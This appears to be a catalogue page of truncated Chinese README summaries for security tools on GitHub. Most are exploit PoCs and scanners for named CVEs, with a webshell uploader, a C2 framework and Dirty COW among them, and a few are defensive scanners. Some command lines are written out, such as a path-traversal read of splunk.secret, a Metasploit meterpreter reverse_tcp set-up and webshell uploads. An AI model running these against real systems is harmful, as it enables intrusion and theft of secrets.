f5scan

f5scan F5 BIG IP Scanner for CVE-2020-5902 by bt0 More information about the Vulnerability: https://support.f5.com/csp/article/K52145254?sf235665517=1 依赖: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements 选项 -h, --help show this help message and exit -H HOST, --host HOST I...

phpMussel

什么是 phpMussel？ 对于共享主机环境而言，这是一个理想的解决方案——当无法使用或安装传统的防病毒保护方案时，phpMussel 是一个 PHP 脚本，旨在基于 ClamAV 及其他签名，检测上传至系统（脚本挂钩处）文件中的木马、病毒、恶意软件及其他威胁 。 特性： 以 GNU General Public License version 2.0 GPLv2 授权。 易于安装、易于定制、易于使用。 适用于任何已安装 PHP+PCRE 的系统（无论操作系统，需 PHP+PCRE）。 可根据需求完全配置。 共享主机服务的理想解决方案。 需要文件上传保护的论坛系统的理想解决方案。 不 ...

CVE-2022-25581

CVE-2022-25581 全网都搜不到，留下备份，Python 利用脚本 ，用于自动完成以下步骤： ✅ 脚本功能目标 1. 登录后台（获取 csrf 和 token） 2. 构造恶意请求包上传压缩包（包含 webshell） 3. 访问上传的 webshell 获取控制权限（GET shell） 🧾 前提条件 目标环境：ClassCMS 2.4 Web服务器：PHP 5.5 + MySQL 攻击者拥有一个可访问的 HTTP 服务器（用于托管 shell.zip） 已知后台路径（如 /admin666） 后台账号密码为 admin/admin 🔒 漏洞利用原理回顾...

PULSE-C2

PULSE C2 框架 基于 HTTPS 的命令与控制基础设施，附带 Web 仪表板，用于远程 Windows 代理管理。 ⚠️ 仅限教育用途 - 非法使用后果自负。 特性 支持 TLS 加密的 HTTPS C2 服务器（Flask） 实时 Web 仪表板 XOR + Base64 加密协议 SQLite 数据库持久存储 远程 Shell、文件外泄、信标控制 静默代理，无调试输出 快速开始 服务端： cd server pip install flask python c2server.py 访问仪表板：https://localhost:8443 客户端： build.bat 编辑...

BurpMetaFinder

BurpMetaFinder - 元数据提取器 用于从文件中提取元数据的 Burp Suite 扩展，当前支持的文件类型： PDF DOCX PPTX XLSX 该项目在 Jetbrains 中创建且已完全添加。不要忘记修改你需要的设置。 使用方法 你需要下载 2 个外部库： pdfbox poi-ooxml 要在 BurpSuite 中安装该扩展，请转到 Extensions Options，并将 Java 环境配置为你保存 .jar 库的路径。 最后，将位于 out/artifacts/BurpExtensionMetaFinderjar 文件夹中的 .jar 文件添加到...

CISCO-CVE-2020-3452-Scanner-Exploiter

CISCO CVE-2020-3452 扫描器与利用工具 它将从Shodan扫描目标服务器，然后找出存在CVE-2020-3452漏洞的服务器（Cisco自适应安全设备和FTD未授权远程文件读取）。 关于 Cisco自适应安全设备（ASA）软件和Cisco Firepower威胁防御（FTD）软件的Web服务接口存在一个漏洞，可能允许未经身份验证的远程攻击者进行目录遍历攻击并读取目标系统上的敏感文件。...

elegant-bouncer

ELEGANTBOUNCER ELEGANTBOUNCER 是一款用于检测基于文件的移动端漏洞的工具。 它采用创新的方法进行高级的基于文件的威胁识别，无需在野样本，且优于基于正则表达式或 IOC 的传统方法。目前，它主要针对识别诸如 FORCEDENTRY CVE-2021-30860、BLASTPASS CVE-2023-4863、CVE-2023-41064 和 TRIANGULATION CVE-2023-41990 等移动端漏洞。 支持表 威胁名称| CVE 编号| 是否支持 ---|---|--- FORCEDENTRY| CVE-2021-30860| ✅ BLASTPASS...

RastLeak

RastLeak 利用黑客引擎搜索（Google和Bing）自动泄露信息的工具。 如何安装 git clone https://github.com/n4xh4ck5/RastLeak.git 使用pip安装依赖： pip install -r requirements.txt 安装wget： sudo pip install wget 版本 最新稳定版本为2.2 用法 python rastleak.py -h usage: rastleak.py -h -d DOMAIN -v VERSION -o OPTION -n SEARCH -e EXT -f EXPORT...

weaponized-0604

武器化 CVE-2019-0604 自动化利用工具，最大化 CVE-2019-0604 的利用效果。 要求 requirements.txt 文件应列出此工具使用的所有 Python 库，它们将使用以下命令安装： $ pip install -r requirements.txt 手动盲利用（有/无凭据） $ python exploit.py -u -c whoami --ntlm -U : 上传功能 上传任意实用的内容（Webshell、侦察工具……） Upload cmd.aspx to rcmd.aspx --file-from /path/to/cmd.aspx --file-...

CVE-2024-36991

CVE-2024-36991 - Splunk 路径遍历 CVE-2024-36991 的概念验证，该漏洞允许攻击者在 Windows 上低于 9.2.2、9.1.5 和 9.0.10 版本的 Splunk 中读取任意文件。 使用方法 读取 Splunk 配置文件 要读取 Splunk 文件，只需运行脚本，传入运行 Splunk 的目标 URL 和你想读取的配置文件。例如： python3 CVE-2024-36991.py -u 'https://example.com:8000' -f '/etc/auth/splunk.secret' 读取 Windows 系统文件 要读取...

CVE-2023-27470_Exercise

CVE-2023-27470 通过任意文件删除实现权限提升的练习 本仓库包含一个本地权限提升练习，模拟 CVE-2023-27470。你的任务，如果你选择接受的话，是找到漏洞并获取 SYSTEM 命令提示符！如果你想直接跳到解决方案，请查看 solution.txt。在 Deleting Your Way Into SYSTEM: Why Arbitrary File Deletion Vulnerabilities Matter 中了解更多关于任意文件删除漏洞及其风险的信息。 作者：Andrew Oliveau @AndrewOliveau 练习设置说明 1. 使用配置了 2...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC 针对通过 CheckPoint SNX VPN Linux 客户端进行特权文件读取的概念验证（PoC）。 受影响版本 CheckPointVPNSNXLinux800007075.sh MD5 校验和：4372e9936e2dfb1d1ebcef3ed4dd7787 漏洞利用 要利用此漏洞，只需使用 -f 参数将任意文件作为 SNX 配置加载。如果该文件不是有效的 SNX 配置，程序将抛出错误并显示语法错误，从而泄露文件内容，直到找到字符串终止符（例如 etc/shadow）： $ /usr/bin/snx -f...

CVE-2025-28915

CVE-2025-28915 漏洞描述： WordPress是一套使用PHP语言开发的博客平台，该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress ThemeEgg ToolKit 1.2.9及之前版本存在代码问题漏洞，该漏洞源于允许上传危险类型文件，可能导致上传Web Shell。 环境搭建： docker pull wordpress 历史插件：https://github.com/themeegg/themeegg-toolkit/releases/tag/1.2.4 安装插件：http://URL/wp-admin/plugin-install.php...

CVE-2021-3019

CVE-2021-3019 CVE-2021-3019 lanproxy目录遍历任意文件读取漏洞 使用方法 下载 git clone https://github.com/FanqXu/CVE-2021-3019.git cd CVE-2021-3019 帮助 默认不带参数运行显示帮助信息 单个URL 对单个URL进行漏洞检测，如果存在漏洞则默认读取配置文件并输出 python3 POC.py -u http://127.0.0.1:9100 读取其他文件 使用-r参数读取系统其他文件，需要知道文件的绝对路径 python3 POC.py -u http://127.0.0.1:9100...

binwalk

Binwalk v3 这是Binwalk固件分析工具的更新版本，已用Rust重新编写，以提高速度和准确性。 它的功能是什么？ Binwalk能够识别，并可选地提取嵌入在其他文件中的文件和数据的。 尽管其主要重点是固件分析，但它支持多种文件和数据类型。 通过熵分析，它甚至可以帮助识别未知的压缩或加密！ Binwalk可以被定制并集成到你自己的Rust项目中。 如何获取？ 安装Binwalk及其所有依赖项的最简单方法是构建Docker镜像。 Binwalk也可以通过Rust包管理器安装。 或者，你也可以从源代码编译！ 如何使用？ 使用起来 简单 ，分析 快速 ，结果 详细 ： binwalk...

CVE-2018-2628

测试有无漏洞 上传shell 方式一： 方式二： 执行shell 获得meterpreter msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp payload = windows/meterpreter/reversetcp msf...

dirtycow-replacer

请注意：我并未正式测试此代码 它被设计为一种教育工具 它能做什么？ android-dirtycow-replacer 使用 CVE-2016-5195 dirtycow 漏洞来修补超过 1000 个文件的列表。 你可以将它编辑为 10000，但 1000 应该足够了。 它首先检查文件是否不同，如果不同则尝试替换，如果出错则停止。 你需要通过编辑文件、修补 selinux 或任何其他方式提供这些文件。 dirtycow 只能替换它可以读取的内容，这就是为什么这个工具不是最终工具的原因。 抱歉如果我重复说了某些话，我有程序员脑袋 这段代码在 Note 5 上测试过，似乎功能正常。但是……...

CVE-2025-4524

CVE-2025-4524 - 未认证的 madara-core WordPress 主题 LFI WordFence 链接 描述 漏洞存在于 madara 的 madaraloadmore 操作中，template 参数来自用户的任意数据，并被传递给 PHP 的 include 函数。 漏洞 漏洞存在于 madara 的 madaraloadmore 操作中，template 参数来自用户的任意数据，并被传递给 PHP 的 include 函数。 相关漏洞代码如下： addaction 'wpajaxmadaraloadmore', array $this,...

CVE-2021-40438

CVE-2021-40438 漏洞利用 PoC（附 Docker 环境搭建） 切换到包含 Apache 配置和 Dockerfile 的目录（仓库中已提供）。 构建镜像： docker build -t cve-2021-40438:1.0 . 运行 Docker 镜像： docker run --rm -d -p 4444:80 cve-2021-40438:1.0 （注意：你也可以使用镜像 ID 代替镜像名称，使用命令 'docker images' 查看镜像详细信息） 漏洞利用： curl...

Minimalistic-offensive-security-tools

极简 TCP 和 UDP 端口扫描器 port-scan-tcp.ps1 | port-scan-udp.ps1 一款简单而强大的 TCP 和 UDP 端口扫描器： 检测开放、关闭和过滤的端口（TCP 和 UDP 皆可） 可扫描单个主机、网络范围或文件中的主机列表 可调整超时值，实现高效可靠的端口扫描 尽管设计极简，两个端口扫描器都通过一个简单的状态文件（scanresults.txt）跟踪所有信息，该文件创建于当前工作目录。这使得扫描器在中断后可轻松恢复，或跳过已扫描的主机/端口。...